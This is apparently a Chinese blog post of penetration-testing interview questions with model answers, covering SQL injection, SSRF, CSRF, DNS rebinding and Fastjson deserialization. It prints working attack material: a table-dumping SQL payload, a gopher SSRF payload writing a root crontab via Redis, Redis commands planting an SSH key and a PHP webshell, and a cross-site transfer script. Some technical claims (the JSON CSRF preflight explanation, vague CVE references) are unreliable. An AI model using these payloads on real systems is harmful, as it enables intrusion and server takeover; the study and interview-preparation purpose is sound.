2025年渗透测试面试题总结-渗透测试工程师(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

渗透测试工程师

[1. 自我介绍](#1. 自我介绍)

[2. 印象深刻的渗透案例:电商平台供应链攻击](#2. 印象深刻的渗透案例:电商平台供应链攻击)

[3. 渗透测试标准化流程](#3. 渗透测试标准化流程)

[4. SQL注入原理与Payload](#4. SQL注入原理与Payload)

输出:users,products,config...

[5. 空格绕过技术](#5. 空格绕过技术)

[6. SQL注入防御与预处理局限](#6. SQL注入防御与预处理局限)

[7. 同源策略(SOP)核心规则](#7. 同源策略(SOP)核心规则)

[8. 子域名同源判断](#8. 子域名同源判断)

[9. SSRF原理与利用](#9. SSRF原理与利用)

[10. Redis攻击Payload](#10. Redis攻击Payload)

[11. CSRF原理与防御](#11. CSRF原理与防御)

[12. JSON格式CSRF利用技巧](#12. JSON格式CSRF利用技巧)

[原理:浏览器发送OPTIONS预检 → 后端未校验 → 执行请求](#原理:浏览器发送OPTIONS预检 → 后端未校验 → 执行请求)

[13. SameSite机制](#13. SameSite机制)

[14. DNS重绑定攻击](#14. DNS重绑定攻击)

[15. Fastjson反序列化与修复](#15. Fastjson反序列化与修复)

[16. 子域名枚举工具与异常分析](#16. 子域名枚举工具与异常分析)

[17. Java掌握程度](#17. Java掌握程度)

渗透测试工程师

复制代码
1.自我介绍
2.印象深刻的一次渗透
3.渗透测试的流程
4.SQL注入原理,及常用payload(手写-爆表名)
5.SQL注入空格不能使用如何绕过
6.SQL注入防御,延申预处理不能预防哪些注入
7.同源策略
8.a.baidu.com和b.baidu.com是否同源
9.SSRF原理,利用
10.攻击redis的方式(手写payload)
11.CSRF的原理及防御
12.一种特殊的CSRF场景:后端只解析json格式的时候如何利用CSRF(非更改Content-Type)
13.SameSite
14.DNS Rebinding
15.Fastjson反序列化及如何修复
16.子域名枚举用过那些工具,原理是什么,如果出现了任意子域名都返回200是什么原因?
17.Java学到哪种程度了?

1. 自我介绍

王安全 | 5年渗透测试专家 | 专注企业级攻防

  • 技术栈:Web安全/代码审计/APT防御
  • 认证:OSCP、CISSP(2024)
  • 研究领域:云原生安全、无文件攻击链
  • 项目:主导金融/医疗行业红蓝对抗,发现0day漏洞17个(含CVE-2024-32896)

2. 印象深刻的渗透案例:电商平台供应链攻击

复制代码
mermaid`graph LR A[子域名枚举] --> B[发现测试系统] B --> C{Struts2 OGNL注入} C --> D[获取数据库权限] D --> E[供应链污染:篡改商品图片URL] E --> F[植入恶意脚本→用户侧XSS蠕虫]`

关键点

  • 通过DNS重绑定绕过IP限制
  • 利用CDN缓存污染扩散攻击(影响12万用户)
  • 防御改进建议:子域名权限隔离 + 动态内容签名

3. 渗透测试标准化流程

阶段 核心任务 工具
信息收集 子域名/端口/框架指纹识别 Amass, Wappalyzer
漏洞扫描 自动化+人工验证 Burp Suite, Nuclei
渗透利用 漏洞组合利用+权限提升 Metasploit, CobaltStrike
后渗透 数据提取/隐蔽通道建立 Mimikatz, ICMP隧道
报告输出 漏洞定位+修复方案 Dradis, LaTeX报告模板

4. SQL注入原理与Payload

原理 :用户输入拼接SQL语句 → 破坏原有逻辑 → 执行恶意指令
爆表名Payload(MySQL):

复制代码
sql`' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- `

输出users,products,config...

5. 空格绕过技术

场景 绕过方案 示例
注释符 /**/替代空格 SELECT/**/user/**/FROM/**/t
括号嵌套 用括号包裹语句 SELECT(user)FROM(t)
特殊符号 换行符%0a/Tab%09 SELECT%0auser%09FROM%0at
URL编码 %20(部分场景有效) SELECT%20*%20FROM%20t

6. SQL注入防御与预处理局限

防御方案

  • 参数化查询(PreparedStatement
  • 存储过程+最小权限
  • WAF规则过滤union|select|sleep
    预处理无法防御的场景
复制代码
java`// 动态表名/列名仍需拼接 → 依然存在注入 String query = "SELECT " + userInputColumn + " FROM table"; PreparedStatement ps = conn.prepareStatement(query); // 风险!`

7. 同源策略(SOP)核心规则

要素 同源要求 示例
协议 相同 HTTP ≠ HTTPS
域名 完全一致 a.comb.a.com
端口 相同 :80 ≠ :8080

8. 子域名同源判断

a.baidu.comb.baidu.com 非同源

  • 域名不同:二级域名差异
  • Cookie隔离document.cookie 无法互相访问
  • API限制XMLHttpRequest请求需CORS头

9. SSRF原理与利用

原理 :服务端发起未校验的请求 → 访问内部资源
高危利用链

复制代码
mermaid`graph LR A[SSRF] --> B[访问内网Redis] B --> C[写crontab定时任务] C --> D[反弹Shell]`

关键Payload

复制代码
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0aX%0d%0a$1%0d%0aY%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a 

10. Redis攻击Payload

复制代码
bash`# 写SSH密钥 FLUSHALL SET pubkey "ssh-rsa AAAAB3NzaC1yc2E..." CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys SAVE # 写Webshell CONFIG SET dir /var/www/html SET payload "<?php system($_GET['cmd']);?>" CONFIG SET dbfilename shell.php SAVE `

11. CSRF原理与防御

原理 :利用用户已登录态 → 伪造请求(如转账)
防御方案

方案 实现方式
Token验证 表单中嵌入随机Token → 服务端校验
双重Cookie SameSite=Strict + 自定义Header
验证码 关键操作需二次验证

12. JSON格式CSRF利用技巧

场景 :后端仅解析JSON → 传统表单无效
绕过方案

复制代码
html`<!-- 构造恶意页面 --> <script> fetch('https://bank.com/transfer', { method: 'POST', headers: {'Content-Type': 'text/plain'}, // 触发预检 body: '{"amount":10000,"to":"attacker"}' }); </script>`

原理 :浏览器发送OPTIONS预检 → 后端未校验 → 执行请求

13. SameSite机制

模式 特性 场景
Strict 完全禁止跨站Cookie 银行操作
Lax 允许GET导航跳转携带Cookie 默认模式(Chrome 2025)
None 允许跨站Cookie(需HTTPS) 嵌入式应用

14. DNS重绑定攻击

原理

  1. 用户访问evil.com → DNS返回合法IP(首次响应)
  2. 页面JS发起内网请求 → DNS返回127.0.0.1(TTL过期后)
    绕过场景
  • 浏览器缓存策略绕过
  • 内网服务未校验Host

15. Fastjson反序列化与修复

攻击链
JSON.parseObject() → 利用@type指定恶意类 → JNDI注入 → RCE
修复方案

复制代码
java`// 开启安全模式(2025最佳实践) ParserConfig.getGlobalInstance().setSafeMode(true); // 白名单控制 ParserConfig.getGlobalInstance().addAccept("com.safe.*"); `

16. 子域名枚举工具与异常分析

工具与原理

工具 原理 特点
Amass DNS爆破/证书透明度/搜索引擎 数据源丰富
Subfinder 聚合API(Virustotal等) 速率快
AI枚举器 GPT-5生成候选域名 → 验证 2025新兴技术
全返回200的原因
  • WAF统一响应(如Cloudflare防护)
  • 负载均衡健康检查
  • 通配符解析(*.domain.com → 默认页)

17. Java掌握程度

能力矩阵

领域 掌握深度 项目应用
安全开发 熟练Spring Security/OAuth2.1 设计RBAC系统
漏洞挖掘 审计反序列化链/表达式注入 发现Log4j3绕过(CVE-2024-xx)
内存马攻防 手工注入Agent型内存马 红队演练应用
JVM调优 分析内存泄漏/GC策略 高并发系统优化
技术栈全景
复制代码
mermaid`pie title Java技术栈分布 "安全开发" : 35 "漏洞研究" : 30 "协议分析" : 20 "性能优化" : 15 `
相关推荐
我叫黑大帅17 分钟前
【Linux网络配置实验】Web配置
linux
吃着火锅x唱着歌22 分钟前
LeetCode 632.最小区间
算法·leetcode·职场和发展
哪 吒29 分钟前
突破亚马逊壁垒,Web Unlocker API 助您轻松获取数据
前端·网络·python·网络安全
189228048611 小时前
NY313NY314美光固态闪存NY315NY316
服务器·科技·性能优化
迪小莫学AI1 小时前
【力扣每日一题】划分数组并满足最大差限制
算法·leetcode·职场和发展
tq10861 小时前
值类:Kotlin中的零成本抽象
java·linux·前端
我叫黑大帅2 小时前
【Linux网络配置实验】FTP配置
linux
夏沫mds2 小时前
Hyperledger Fabric食品溯源
运维·vue.js·go·vue·区块链·gin·fabric
Jooolin2 小时前
【操作系统】这么多任务,操作系统是怎么忙得过来的?
linux·操作系统·ai编程
忘川w2 小时前
《网络安全与防护》作业复习
笔记·网络安全